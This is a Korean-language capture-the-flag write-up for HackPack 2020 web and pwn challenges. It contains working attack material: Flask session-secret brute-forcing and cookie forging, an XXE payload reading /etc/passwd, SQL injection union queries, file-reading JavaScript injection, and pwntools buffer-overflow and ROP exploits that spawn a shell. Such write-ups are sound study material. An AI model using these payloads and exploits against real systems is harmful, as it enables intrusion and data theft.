Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club!
I wonder if they will sell you a Flask of milk to go with your cookies...
접속하면
주문 버튼이 있는 페이지가 나오고,
주문 버튼을 누르면
로그인 창이 표시된다.
아무 아이디로 로그인하면 쿠키값 생성된다.
.eJwNzDEKgDAQRNGrLNPY5AS5iYjIimMSiFFcNYV4d1P95vFfTGtWizT44YVcLdhopoFw6Pdboj6UmSyS9xC4SCqiJl2ttcP4jQ7tECymA37VbHS4jWfRjfBoCt8P4JEikA.Xqrk_g.qYQk00gPIHRKL1T8IaAHAZMK4U4
jwt 형태라는 것을 알 수 있고, 디코딩 해보면
{"flagship":false,"username":"test"}^ӗ0J?s)%
flagship
의 값을 true로 설정한 jwt값을 쿠키로 전달해야 할 것 같다.
하지만, 시그네처 검사를 none으로 설정해서 전달하면 처리되지 않는다.
secret 값을 구해야 한다.
flask-unsign을 이용해 구할 수 있다.
root@kali:/work/tools# flask-unsign -c eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIllvdSBtdXN0IGxvZyBpbiBmaXJzdCEiXX1dfQ.XqrjrQ.EMY713KSO9BQYdpiuBuWW7CDfTg --unsign
[*] Session decodes to: {'_flashes': [('warning', 'You must log in first!')]}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 41667 attempts
'password1'
root@kali:/work/tools#
그리고 jwt를 다시 생성한다.
root@kali:/work/tools# flask-unsign --sign --secret "password1" --cookie "{'flagship': True, 'username': 'bob8gook'}"
eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJib2I4Z29vayJ9.EYx4iQ.T2wgencWPCFFCiNla4AkiOIoS-w
root@kali:/work/tools#
해당 값을 쿠키로 설정 후 flagship 페이지에 접근하면 플래그를 확인할 수 있다.
flag{0h_my_@ch1ng_p@ncre@5_th33$3_@r3_d3l1c10$0}
Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong.
Check here: https://treasure-map.cha.hackpack.club/
접속해보면
많은 링크들을 확인할 수 있다.
몇 개의 링크를 시험삼아 들어가보면 404 not found를 반환한다. 소스나 쿠키, requests 확인해도 별다른 힌트가 없었다. 마지막으로 robots.txt
를 확인해본다.
sitemap이 설정되어있다. 해당 파일(treasuremap.xml
)을 확인해본다.
인코딩된 이름을 가진 html 파일이 확인된다. 해당 html에 접근하면
플래그를 확인할 수 있다.
flag{tr3asur3_hunt1ng_fUn}
See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.
접속하면
금고 이미지와 비밀번호를 입력하는 버튼이 주어진다.
소스파일을 확인해보면
<?php
// this is how I store hashes right?
$hash = "0e770334890835629000008642775106";
if(array_key_exists("combination",$_REQUEST) && $_REQUEST["combination"] !== ''){
//Isn't it great that == works in every language?
if(array_key_exists("debug", $_REQUEST)){
echo "<br> ". md5($_REQUEST["combination"]);
}
if(md5($_REQUEST["combination"]) == $hash){
echo "<br> The Flag is flag{...}<br>";
}
else{
echo "<br>Wrong!<br>";
}
}
?>
magic hash 문제이다.
loose comparison을 수행하므로, md5 연산 결과가 0e로 시작하는 단어인 'QNKCDZO'를 입력하면 0==0
으로 true를 반환하여 인증에 성공한다.
flag{!5_Ph9_5TronGly_7yPed?}
Come and BETA Test our new social networking site. Its like twitter but shorter
접속해보면
메모를 남길 수 있는 서비스 페이지를 확인할 수 있다.
<img>
태그를 이용하여 XXS를 시도해봤다.
태그는 제대로 삽입되었지만 서버로부터 request 요청이 오질 않았다.
XSS 문제는 아닌듯 했다.
힌트를 찾기위해 index.php
의 소스를 확인했다.
<script src="game-frame.js"></script>
위처럼 game-frame.js
파일을 임포트시키고 있었다.
그리고 game-frame.js
를 확인해보면
난독화된 자바스크립트 코드였다.
[]()!+
의 6가지 문자로 이루어진 난독화 코드는 jsfuck에 의해 생성된 것이다.
디코드 시키자.
parent.postMessage(window.location.toString(),"*");var originalAlert=window.alert;window.alert=function(t){parent.postMessage("success","*"),flag=atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"),setTimeout(function(){originalAlert("Congratulations, you executed an alert:\n\n"+t+"\n\nhere is the flag: "+flag)},50)};
소스를 보면, ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99를 디코딩한 값이 플래그란 것을 알 수 있다.
flag{x55_i5Nt_7hA7_bAD_R1Gh7?}
How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design!
Check out a new feature: https://custom-ui.cha.hackpack.club/
접속하면 버튼을 생성하는 페이지를 확인할 수 있다.
입력 폼에 entity인 >
을 입력하면
에러메시지가 출력되며 입력된 값으로 loadXML
을 호출하는 것을 알 수 있다.
그리고 소스를 보면 post.js
를 임포트시키는데
document.addEventListener("DOMContentLoaded", () => {
let el = document.getElementById("btnColor");
let el3 = document.getElementById("btnValue");
let el2 = document.getElementById("xdata");
el.onkeyup = updateData;
el3.onkeyup = updateData;
function updateData() {
let data = "<button><color>" + el.value + "</color><value>" + el3.value + "</value></button>";
el2.value = data;
}
})
입력폼의 color
, text
값이 xdata
라는 post 파라미터로 만들어진 후에 request 된다는 것을 알 수 있다.
burp suite를 이용해 xdata
를 다음의 페이로드로 전송하여 xxe를 시도한다.(url 인코딩이 필요하다)
<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]><button><value>&ent;</value></button>
response를 보면
<h1>Your custom button!</h1>
<button style="background-color: ; padding: 15px 32px;">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
페이로드가 제대로 실행되었다.
이제 flag.txt
를 실행시켜야 한다.
하지만, 경로를 알 수가 없다.
expect://
로 쉘 명령어를 실행해보려 했지만
<b>Warning</b>: DOMDocument::loadXML(): Unable to find the wrapper "expect" - did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>12</b><br />
허용되지 않았다.
방법을 찾다가 쿠키에 debug
라는 값이 설정되어 있는 것을 확인했다.
false
를 true
로 설정해주면 html소스 마지막에 다음과 같은 주석을 확인할 수 있다.
</div>
<!-- TODO: Delete flag.txt from /etc/ --></body>
</html>
파일의 위치는 /etc/flag.txt
였다.
해당 파일을 읽으면 플래그 값을 얻을 수 있다.
flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}
This pandemic hit everybody hard. Especially, those who want to make a birthday party. That is why we decided to create a website where you can find those who have the same birthdate as yours.
Check it out: https://online-birthday-party.cha.hackpack.club/
접속해보면
로그인, 가입 페이지가 있고
아이디를 생성 후 로그인하면
생일이 같은 사람의 목록을 확인할 수 있다.
생일로 검색되는 페이지가 있는 것을 봤을 때, 가입할 때 입력하는 생일 값을 이용해 sql 인젝션이 가능함을 유추할 수 있다.
생일을 싱글쿼터로 설정하고 조회했을 때, 위처럼 에러가 출력된다.
union select
를 이용하여 플래그가 저장된 속성명을 찾아보자.
' union select 1, column_name from information_scheam.columns table_name = 'users' --
password
에 플래그가 저장되있을 것 같다.
컬럼을 두 개나 조회할 수 있으므로, id
와 password
를 모두 조회해보자.
' union select id, password from users --
확인해보면
id
값이 1인 계정의 패스워드가 플래그 값이다
flag{c0mpl1cat3d_2nd_0rd3r_sql}
JavaScript Cleaning Service: Transform ugly JavaScript files to pretty clean JavaScript files!
접속하면 자바스크립트 파일명과 실행할 자바스크립트 코드를 입력받는다.
```shell
root@kali:/work/tools# nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code:
flag.txt
를 읽는 코드를 전송한다.
root@kali:/work/tools# nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code: var fs = require('fs');fs.readFile('flag.txt', 'utf8', function(err, data){console.log(data);});
flag{Js_N3v3R_FuN_2_Re4d}
flag{Js_N3v3R_FuN_2_Re4d}
Are you savvy enough to steal a piece of cheese?
nc cha.hackpack.club 41719
mousetrap
문제 파일을 실행하면
root@kali:/work/ctf/HACKPACK2020/pwn/mousetrap_d# ./mousetrap
Welcome little mouse
can you steal the cheese from the mouse trap
Name: gtest
Enter Code Sequence of 10: 123
SNAAAAAAAP! you died!root@kali:/work/ctf/HACKPACK2020/pwn/mousetrap_d#
이름과 코드 시퀀스를 입력받는다.
main
함수를 보면
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char **v3; // ST00_8@1
__int64 v4; // rsi@1
char v6; // [sp+10h] [bp-120h]@1
char v7; // [sp+110h] [bp-20h]@1
__int64 v8; // [sp+128h] [bp-8h]@1
v3 = argv;
v8 = 10LL;
init(*(_QWORD *)&argc, argv, envp);
menu(*(_QWORD *)&argc);
set_mouse_name(&v7);
v4 = v8;
deactivate_trap((__int64)&v6, v8);
grab_cheese(&v6);
printf("SNAAAAAAAP! you died!", v4, v3);
return 0;
}
v7
이 이름이 저장되는 변수고, v8
은 입력받을 코드 시퀀스의 크기(0x10)를 저장하고 있다.
입력받는 이름의 크기는 0x20인데 이는 v8
을 덮어쓴다.
마지막 grab_cheese
에서 0x10
크기의 지역변수에 코드 시퀀스를 복사하므로, 코드 시퀀스 크기를 조작하면 grab_cheese
스택 프레임의 리턴 주소를 변경할 수 있다.
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
p = remote("cha.hackpack.club", 41719)
#p = process("mousetrap")
p.recvrepeat(1)
p.send('a'*0x18+p64(0xff))
p.recvrepeat(1)
addr_system = 0x400718
p.send('a'*0x18 + p64(addr_system))
#p.send('a'*0x18)
p.interactive()
코드를 실행하면 플래그 값을 확인할 수 있다.
flag{C0nTr0l_S1Z3_4_$h3LL}
문제파일을 실행하면
root@kali:/work/ctf/HACKPACK2020/pwn/climb_d# ./climb
Stranger: Help! I'm stuck down here. Can you help me climb the rope?
How will you respond? aaaaa
root@kali:/work/ctf/HACKPACK2020/pwn/climb_d#
문자열을 입력받고 종료된다.
main
함수를 보면
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-20h]@1
setbuf(_bss_start, 0LL);
puts("Stranger: Help! I'm stuck down here. Can you help me climb the rope?");
printf("How will you respond? ", 0LL);
read(0, &buf, 0x1F4uLL);
return 0;
}
간단한 오버플로우 취약점이다. 하지만 nx가 걸려있고 쉘을 실행해주는 함수를 제공하지 않아 rop를 이용해 조건을 맞춰서 직접 쉘을 실행해야 한다.
먼저 read
함수를 호출해 _bss
에 '/bin/sh'를 저장하고, 해당 주소값을 인자로 system
함수를 호출한다.
64bit calling convention을 고려해 스택의 값을 레지스터로 pop 시키는 가젯이 추가되야 한다.
from pwn import *
#context.update(arch='amd64', os = 'linux', log_level = 'debug')
p = remote('cha.hackpack.club', 41702)
#p = process('climb')
p.recvrepeat(1)
addr_read = 0x400550
addr_ret = 0x00000000004004fe
addr_bss = 0x601050
addr_system = 0x400530
addr_main = 0x40067F
addr_pRDIret = 0x400743
addr_pRSI_Dret = 0x0000000000400741
addr_pRDXret = 0x0000000000400654
#call read
payload = 'a'*0x28 + p64(addr_pRDIret) + p64(0) + p64(addr_pRSI_Dret) + p64(addr_bss) + 'a'*8 + p64(addr_pRDXret) + p64(len('/bin/sh;')) + p64(addr_read)+ p64(addr_ret)
#call system
payload += p64(addr_pRDIret) + p64(addr_bss) + p64(addr_system)
p.send(payload)
p.send('/bin/sh\0')
p.interactive()
코드를 실행하면
쉘이 실행된다.
flag{w0w_A_R34L_LiF3_R0pp3r!}